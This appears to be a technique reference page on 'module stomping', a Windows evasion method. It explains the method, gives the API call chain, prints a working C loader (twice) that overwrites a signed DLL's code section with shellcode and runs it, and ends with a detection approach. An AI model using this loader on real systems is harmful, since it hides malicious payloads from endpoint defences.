Module Stomping
Overview
Every detection built on “executable memory with no file behind it” has the same blind spot: memory
that does have a file behind it. Module stomping loads a legitimate signed DLL the target has no
use for, then overwrites its .text section in place. The payload now executes from image-backed
memory attributed to a Microsoft-signed module.
The trade-off is that the stomped module is broken. Anything that calls into it will fault, so implementations pick a DLL the host process will never touch — and pick a different one per campaign, because the choice itself becomes a signature.
Writing to an image section triggers copy-on-write. The pages become private to this process, which is invisible to a naive backing check but plainly visible to a working-set walk that compares each page against the file on disk.
The call chain
- 1LoadLibraryEx(a sacrificial DLL)Load a signed DLL the process does not actually use, remotely or in-process.
- 2locate the .text sectionParse the mapped headers to find the executable section and its size.
- 3VirtualProtectEx(PAGE_READWRITE)Make the image section writable — a copy-on-write fault privatises those pages.
- 4WriteProcessMemoryOverwrite the section body with the payload.
- 5VirtualProtectEx(PAGE_EXECUTE_READ)Restore executable protection and jump into the stomped region.
Reference implementation
// a signed DLL this process has no reason to call
HMODULE mod = LoadLibraryExA("xpsservices.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)mod + ((PIMAGE_DOS_HEADER)mod)->e_lfanew);
PIMAGE_SECTION_HEADER text = find_section(nt, ".text");
PVOID dst = (PBYTE)mod + text->VirtualAddress;
DWORD old;
VirtualProtect(dst, size, PAGE_READWRITE, &old); // copy-on-write privatises the pages
memcpy(dst, shellcode, size);
VirtualProtect(dst, size, PAGE_EXECUTE_READ, &old);
((void(*)())dst)();// a signed DLL this process has no reason to call
HMODULE mod = LoadLibraryExA("xpsservices.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)mod + ((PIMAGE_DOS_HEADER)mod)->e_lfanew);
PIMAGE_SECTION_HEADER text = find_section(nt, ".text");
PVOID dst = (PBYTE)mod + text->VirtualAddress;
DWORD old;
VirtualProtect(dst, size, PAGE_READWRITE, &old); // copy-on-write privatises the pages
memcpy(dst, shellcode, size);
VirtualProtect(dst, size, PAGE_EXECUTE_READ, &old);
((void(*)())dst)();Detection
The reliable check is content, not attribution: hash each executable image section in memory against the same section read from disk. Legitimate deltas exist — hot-patching, relocations, IAT entries — so normalise those before comparing rather than alerting on any difference.